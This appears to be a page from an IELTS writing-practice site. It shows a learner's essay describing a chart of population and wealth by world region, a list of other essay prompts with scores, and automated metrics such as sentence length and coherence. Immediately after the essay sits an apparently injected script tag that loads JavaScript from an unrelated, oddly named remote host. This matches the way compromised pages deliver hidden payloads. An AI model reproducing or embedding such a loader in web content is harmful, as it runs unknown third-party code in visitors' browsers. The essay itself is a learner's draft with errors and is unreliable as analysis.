The chart gives information about how global population and wealth is distributed by different regions and it is possible to notice from the beginning the evident difference among North America, Europe and Rich Asia-Pacific against China, other Asians from Pacific, India, Africa, Latin American and Caribbean.
In fact, the first three regions mentioned have a significant global wealth with percentages between almost 33 to approximately 23, due to the fact that the amount of population it is always very low: only Europe reaches the amount of 15%.
On the other side, the regions left suffer of lack of wellness since the population reaches picks of about 23% in the case of China or about 17% in India and in other Asia Pacific.
To conclude, the only relevant exception is represented by Africa and Latin America and Caribbean that, even having low levels of population, they have poor conditions of live which do not allow offering an adequate level of wealth.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- In some countries it is thought advisable that children begin formal education at four years old, while in others they do not have to start school until they are seven or eight.How far do you agree with either of these views? 80
- The graph below gives information about how much people in the United States and the United Kingdom spend on petrolSummarise the information by selecting and reporting the main features,and make comparisons where relevant 65
- t is becoming more and more difficult to escape the influence of the media on our lives.Discuss the advantages and disadvantages of living in a media rich society.Give reasons for your answer and include any relevant examples from your own knowledge or ex 43
- Air traffic is increasingly leading to more noise, pollution, and airport constuction. One reason for this is the growth in low-cost passenger flights, often to holiday destinations.Some people say that government should try to reduce air traffic by taxin 77
- The diagram below shows an automatic photo booth.Summarize the information by selecting and reporting the main features, and make comparisons where relevant. 78
flaws:
Avg. Sentence Length: 40 21.0 //Don't put one sentence as one paragraph.
Sentence Length SD: 4.062 7.5
Attribute Value Ideal
Score: 6.5 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 4 10
No. of Words: 160 200
No. of Characters: 786 1000
No. of Different Words: 98 100
Fourth Root of Number of Words: 3.557 4.0
Average Word Length: 4.912 4.6
Word Length SD: 2.63 2.4
No. of Words greater than 5 chars: 56 60
No. of Words greater than 6 chars: 38 50
No. of Words greater than 7 chars: 26 40
No. of Words greater than 8 chars: 19 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 40 21.0
Sentence Length SD: 4.062 7.5
Use of Discourse Markers (%): 0.25 0.12
Sentence-Text Coherence: 0.571 0.35
Sentence-Para Coherence: 1 0.50
Sentence-Sentence Coherence: 0.065 0.07
Number of Paragraphs: 4 4